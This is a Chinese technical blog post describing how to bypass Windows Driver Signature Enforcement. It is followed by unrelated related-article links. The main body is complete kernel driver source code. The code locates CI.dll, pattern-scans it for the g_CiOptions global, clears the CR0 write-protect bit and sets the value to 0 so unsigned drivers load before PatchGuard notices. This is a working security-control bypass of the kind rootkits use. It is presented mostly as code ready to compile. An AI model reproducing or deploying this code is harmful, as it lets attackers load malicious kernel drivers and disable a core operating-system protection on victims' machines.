内核过DSE驱动签名验证.
一丶简介
现在的驱动,必须都有签名才能加载.那么如何加载无签名的驱动模块那.
下面可以说下方法.但是挺尴尬的是,代码必须在驱动中编写.所以就形成了
你必须一个驱动带有一个签名加载进去.执行你的代码.pass掉DSE之后以后加载驱动就可以完全不用签名了.
原理:
原理就是Path一下CI内核模块.将一个全局变量置为0即可.但是受PG保护.不过PG要检测这个位置不会立刻保护.所以可以修改完加载完你的无驱动签名的驱动.然后修改回来即可.
全局变量有三个. 0 6 8 0代表禁用 6代表开启. 8代表可以加载测试签名.
二丶逆向CI.dll寻找Path位置.
既然上面说了.是修改一个全局变量.那么打开CI看看修改那个即可.
结果
虽然提示你需要签名.但是可以用PChunter看到.其实已经加载了.
一共三个值. 0 6 8 6代表开启驱动签名 0代表关闭 8 代表开启测试驱动签名
代码:
#include "Driver.h"
#include <wdm.h>
//KLDR_DATA_TABLE_ENTRY
typedef struct _LDR_DATA_TABLE_ENTRY {
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
USHORT LoadCount;
USHORT TlsIndex;
union {
LIST_ENTRY HashLinks;
struct {
PVOID SectionPointer;
ULONG CheckSum;
};
};
union {
struct {
ULONG TimeDateStamp;
};
struct {
PVOID LoadedImports;
};
};
}LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
VOID IteratorModule(PDRIVER_OBJECT pDriverObj)
{
PLDR_DATA_TABLE_ENTRY pLdr = NULL;
PLIST_ENTRY pListEntry = NULL;
PLIST_ENTRY pCurrentListEntry = NULL;
PLDR_DATA_TABLE_ENTRY pCurrentModule = NULL;
pLdr = (PLDR_DATA_TABLE_ENTRY)pDriverObj->DriverSection;
pListEntry = pLdr->InLoadOrderLinks.Flink;
pCurrentListEntry = pListEntry->Flink;
while (pCurrentListEntry != pListEntry) //前后不相等
{
//获取LDR_DATA_TABLE_ENTRY结构
pCurrentModule = CONTAINING_RECORD(pCurrentListEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);
if (pCurrentModule->BaseDllName.Buffer != 0)
{
DbgPrint("ModuleName = %wZ ModuleBase = %p ModuleEndBase = %p\r\n",
pCurrentModule->BaseDllName,
pCurrentModule->DllBase,
(LONGLONG)pCurrentModule->DllBase + pCurrentModule->SizeOfImage);
}
pCurrentListEntry = pCurrentListEntry->Flink;
}
}
LONGLONG GetModuleBaseByName(PDRIVER_OBJECT pDriverObj,UNICODE_STRING ModuleName)
{
PLDR_DATA_TABLE_ENTRY pLdr = NULL;
PLIST_ENTRY pListEntry = NULL;
PLIST_ENTRY pCurrentListEntry = NULL;
PLDR_DATA_TABLE_ENTRY pCurrentModule = NULL;
pLdr = (PLDR_DATA_TABLE_ENTRY)pDriverObj->DriverSection;
pListEntry = pLdr->InLoadOrderLinks.Flink;
pCurrentListEntry = pListEntry->Flink;
while (pCurrentListEntry != pListEntry) //前后不相等
{
//获取LDR_DATA_TABLE_ENTRY结构
pCurrentModule = CONTAINING_RECORD(pCurrentListEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);
if (pCurrentModule->BaseDllName.Buffer != 0)
{
UNICODE_STRING uCmp1 = RTL_CONSTANT_STRING(L"HelloWorld");
UNICODE_STRING uCmp2 = RTL_CONSTANT_STRING(L"HelloWorld");
if (RtlCompareUnicodeString(&pCurrentModule->BaseDllName, &ModuleName, TRUE) == 0)
{
DbgPrint("ModuleName = %wZ ModuleBase = %p ModuleEndBase = %p\r\n",
pCurrentModule->BaseDllName,
pCurrentModule->DllBase,
(LONGLONG)pCurrentModule->DllBase + pCurrentModule->SizeOfImage);
return (LONGLONG)pCurrentModule->DllBase;
}
}
pCurrentListEntry = pCurrentListEntry->Flink;
}
return 0;
}
typedef struct _BASEMANGER
{
LONGLONG StartBase;
LONGLONG EndBase;
}BASEMANGER,*PBASEMANGER;
BASEMANGER GetModuleBaseByNames(PDRIVER_OBJECT pDriverObj, UNICODE_STRING ModuleName)
{
PLDR_DATA_TABLE_ENTRY pLdr = NULL;
PLIST_ENTRY pListEntry = NULL;
PLIST_ENTRY pCurrentListEntry = NULL;
PLDR_DATA_TABLE_ENTRY pCurrentModule = NULL;
pLdr = (PLDR_DATA_TABLE_ENTRY)pDriverObj->DriverSection;
pListEntry = pLdr->InLoadOrderLinks.Flink;
pCurrentListEntry = pListEntry->Flink;
BASEMANGER BaseManger = { 0 };
while (pCurrentListEntry != pListEntry) //前后不相等
{
//获取LDR_DATA_TABLE_ENTRY结构
pCurrentModule = CONTAINING_RECORD(pCurrentListEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);
if (pCurrentModule->BaseDllName.Buffer != 0)
{
UNICODE_STRING uCmp1 = RTL_CONSTANT_STRING(L"HelloWorld");
UNICODE_STRING uCmp2 = RTL_CONSTANT_STRING(L"HelloWorld");
if (RtlCompareUnicodeString(&pCurrentModule->BaseDllName, &ModuleName, TRUE) == 0)
{
DbgPrint("ModuleName = %wZ ModuleBase = %p ModuleEndBase = %p\r\n",
pCurrentModule->BaseDllName,
pCurrentModule->DllBase,
(LONGLONG)pCurrentModule->DllBase + pCurrentModule->SizeOfImage);
BaseManger.StartBase = (LONGLONG)pCurrentModule->DllBase;
BaseManger.EndBase = (LONGLONG)pCurrentModule->DllBase + pCurrentModule->SizeOfImage;
return BaseManger;
}
}
pCurrentListEntry = pCurrentListEntry->Flink;
}
BaseManger.StartBase = 0;
BaseManger.EndBase = 0;
return BaseManger;
}
//核心实现代码
DWORD64 g_CiOptionsAddress;
int g_CiOptions = 6;
KIRQL WPOFFx64()
{
KIRQL irql = KeRaiseIrqlToDpcLevel();
UINT64 cr0 = __readcr0();
cr0 &= 0xfffffffffffeffff;
_disable();
__writecr0(cr0);
return irql;
}
KIRQL DisableMemProtected()
{
KIRQL irql = KeRaiseIrqlToDpcLevel();
UINT64 cr0 = __readcr0();
cr0 &= 0xfffffffffffeffff;
_disable();
__writecr0(cr0);
return irql;
}
void EnbaleMemProtected(KIRQL irql)
{
UINT64 cr0 = __readcr0();
cr0 |= 0x10000;
_enable();
__writecr0(cr0);
KeLowerIrql(irql);
}
BOOLEAN DisableDse(DWORD64 CiStartAddress, DWORD64 CiEndAddress)
{
UNICODE_STRING FunctionName = RTL_CONSTANT_STRING(L"PsGetCurrentProcess");
DWORD64 PsGetCurrentProcessAddress = (DWORD64)MmGetSystemRoutineAddress(&FunctionName);
DWORD64 SerchAddress = CiStartAddress;
DWORD64 Address;
KIRQL Myirql;
int nCount = 0;
int isFind = 0;
int i = 0;
int isRead = 1;
if (SerchAddress == 0)
{
return 0;
}
__try
{
KIRQL irql = KeRaiseIrqlToDpcLevel();
while (SerchAddress++)
{
if (SerchAddress + 2 > CiEndAddress)
{
break;
}
isRead = 1;
for (i = 0; i < 2; i++)
{
if (MmIsAddressValid((PDWORD64)SerchAddress + i) == FALSE)
{
isRead = 0;
break;
}
}
if (isRead == 1)
{
if (*(PUSHORT)(SerchAddress) == 0x15ff)
{
Address = SerchAddress + *(PLONG)(SerchAddress + 2) + 6;
if (MmIsAddressValid((PDWORD64)Address))
{
if (*(PDWORD64)Address == PsGetCurrentProcessAddress)
{
while (nCount < 100)
{
nCount++;
SerchAddress--;
if (*(PUSHORT)(SerchAddress) == 0x0d89)
{
isFind = 1;
break;
}
}
break;
}
}
}
}
}
KeLowerIrql(irql);
}
__except (1)
{
DbgPrint("搜索数据失败!");
}
if (isFind == 1)
{
//DbgPrint("SerchAddress:%p\n", SerchAddress);
g_CiOptionsAddress = SerchAddress + *(PLONG)(SerchAddress + 2) + 6;
g_CiOptions = *(PLONG)g_CiOptionsAddress;
DbgPrint("地址:%p 初始化值数据:%08X\n", g_CiOptionsAddress, g_CiOptions);
Myirql = DisableMemProtected();
*(PLONG)g_CiOptionsAddress = 0; //DisableDse 修改为0即可.
DbgPrint("地址:%p 修改数据为:%08X\n", g_CiOptionsAddress, *(PLONG)g_CiOptionsAddress);
EnbaleMemProtected(Myirql);
return TRUE;
}
else
{
DbgPrint("搜索数据失败!\n");
return FALSE;
}
}
void EnbalDse() //开启DSE保护
{
KIRQL Myirql;
Myirql = DisableMemProtected();
*(PLONG)g_CiOptionsAddress = 6; //DisableDse 修改为6即可.
DbgPrint("开启签名验证成功.值修改为 %d \r\n", *(PLONG)g_CiOptionsAddress);
EnbaleMemProtected(Myirql);
}
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObj, PUNICODE_STRING pRegPath)
{
ULONG iCount = 0;
NTSTATUS ntStatus;
UNICODE_STRING uModuleName;
BASEMANGER Base = { 0 };
RtlInitUnicodeString(&uModuleName, L"CI.dll");
pDriverObj->DriverUnload = DriverUnLoad;
Base = GetModuleBaseByNames(pDriverObj, uModuleName);
if (Base.StartBase != 0 && Base.EndBase != 0)
{
DisableDse(Base.StartBase, Base.EndBase);//传入CI基址 CICiEndAddress
//EnbalDse(); //关闭DSE
}
return STATUS_SUCCESS;
}
ps: 文章是原创.但是核心原理是参考了一个看流星论坛的一个大佬的。自己将它的代码拷贝了下来稍微改了改。加了遍历模块代码而已。
原理就是Path CI. 大佬的代码就是寻找特征定位全局变量。既然知道原理了。那么定位的话就抄一下了。
另一篇文章是参考了 安全客的一个漏洞文章。现在找不到了。另一篇所讲的是 标志有三种 0 6 8 0是禁用 6是开启 8是启动测试签名。所以在这里直接使用了。
内核过DSE驱动签名验证.的更多相关文章
- 基于ubuntu-2.6.35内核的SDIO-WiFi驱动移植
一.移植环境: 1.主机:Ubuntu 10.10发行版 2.目标机:FS_S5PC100平台 3.交叉编译工具:arm-cortex_a8-linux-gn ...
- Windows内核安全与驱动开发
这篇是计算机中Windows Mobile/Symbian类的优质预售推荐<Windows内核安全与驱动开发>. 编辑推荐 本书适合计算机安全软件从业人员.计算机相关专业院校学生以及有一定 ...
- linux内核SPI总线驱动分析(一)(转)
linux内核SPI总线驱动分析(一)(转) 下面有两个大的模块: 一个是SPI总线驱动的分析 (研究了具体实现的过程) 另一个是SPI总线驱动的编写(不用研究具体的实现过程) ...
- 【转】 linux内核移植和驱动添加(三)
原文网址:http://blog.chinaunix.net/uid-29589379-id-4708909.html 原文地址:linux内核移植和驱动添加(三) 作者:genehang 四,LED ...
- hisi3559的usb无线网卡驱动(rtl8192cu)(一条龙服务:内核编译、驱动编译、iw等工具编译)
usb无线网卡驱动(rtl8192cu) 内核编译.驱动编译.iw等工具编译 (哈哈,如果有其他问题,麻烦留言:) 环境 板卡:hi3559av100(arm64) 交叉编译链:aarch64-hi ...
- Linux系统调用怎么和内核或底层驱动交互的
学习Linux系统下驱动程序开发已有大半年时间,心中一直有个疑惑:那就是诸如open.write.read等系统调用是怎么和内核或底层驱动建立起联系的呢?今天将自己的一些粗略的理解总结如下. ...
- Linux内核调用I2C驱动_驱动嵌套驱动方法
禁止转载!!!! Linux内核调用I2C驱动_以MPU6050为例 0. 导语 最近一段时间都在恶补数据结构和C++,加上导师的事情比较多,Linux内核驱动的学习进程总是被阻碍.不过,十一假期终于 ...
- 《windows内核安全与驱动开发》ctrl2cap中的ObReferenceObjectByName疑问
国内有关于windows内核驱动这块的书籍实在是甚少,不过好在<windows内核安全与驱动开发>这本书还算不错(内容方面),但是不得不说这本书在许多地方存在着一些细节上的问题.比如我今天 ...
- linux字符设备驱动中内核如何调用驱动入口函数 一点记录
/* 内核如何调用驱动入口函数 ? *//* 答: 使用module_init()函数,module_init()函数定义一个结构体,这个结构体里面有一个函数指针,指向first_drv_init() ...
随机推荐
- vs2015下编译免费开源的jpeg库,ijg的jpeg.lib
vs2015下编译免费开源的jpeg库,ijg的jpeg.lib 1. 去Independent JPEG Group官网www.ijg.org下载jpegsrc,我下载的版本是jpegsrc9c.z ...
- 我的第一个netcore2.2 api项目搭建(三)续
上一章快速陈述了自定义验证功能添加的过程,我的第一个netcore2.2 api项目搭建(三) 但是并没有真正的去实现,这一章将要实现验证功能的添加. 这一章实现目标三:jwt认证授权添加 在netc ...
- 动画重定向技术分析及其在Unity中的应用
前言 笔者新的手游项目使用Unity引擎,动画部分要使用重定向技术来实现动画复用.笔者之前在大公司工作的时候对这块了解比较深入,读过Havok引擎在这部分的实现源码,并基于自己的理解,在公司自研的手游 ...
- java字符串常用方法总结(更新中..)
一.String类 1.字符串拼接 String str1 = "abcd"; String str2 = "efgh"; System.out.println ...
- IDEA控制台中文乱码问题
Tomcat启动时乱码 在tomcat启动时,控制台中的中文为乱码 在idea安装路径的bin文件夹下,找到idea64.exe.vmoptions这个配置文件,添加如下代码 -Dfile.encod ...
- Eureka设计原理
1. Eureka设计原理 1.1. 前言 目前我越来越关注技术原理层面的东西,开始考虑中间件设计背后,要考虑哪些因素,为什么要这样设计,有什么优化的地方,这次来讨论Eureka 1.2. 设计问题 ...
- 通过nginx部署前端代码实现前后端分离
实现前后端分离,可以让前后端独立开发.独立部署.独立单测,双方通过JSON进行数据交互. 对于前端开发人员来说,不用每次调试都需要启动或配置Java/Tomcat运行环境:对于后端开发人员来说 ,也不 ...
- Python 栈、队列的实现
在python中,列表既可以作为栈使用,又可以作为队列使用. 把列表作为栈使用 栈:后进先出 stack=[1,2,3] stack.append(4) #入栈,以列表尾部为栈顶 print(stac ...
- 解决使用Microsoft Graph OAuth获取令牌时,没有refresh_token的问题
今天在使用Microsoft Graph 的时候,发现按照官方文档,无论如何都不能获取refresh_token,其他都没问题,经过查询,发现是因为在第一步,获取code授权时,没有给离线权限(off ...
- 解决vant-weapp组件库的example的导入问题
最近在学习小程序,看到了vant-weapp这个组件库,我比较喜欢边看示例边来敲代码.刚好这个组件库下载下来有 example的文件夹.废话不多说,现在来看看怎么在开发工具里面导入吧! 步骤: 1.下 ...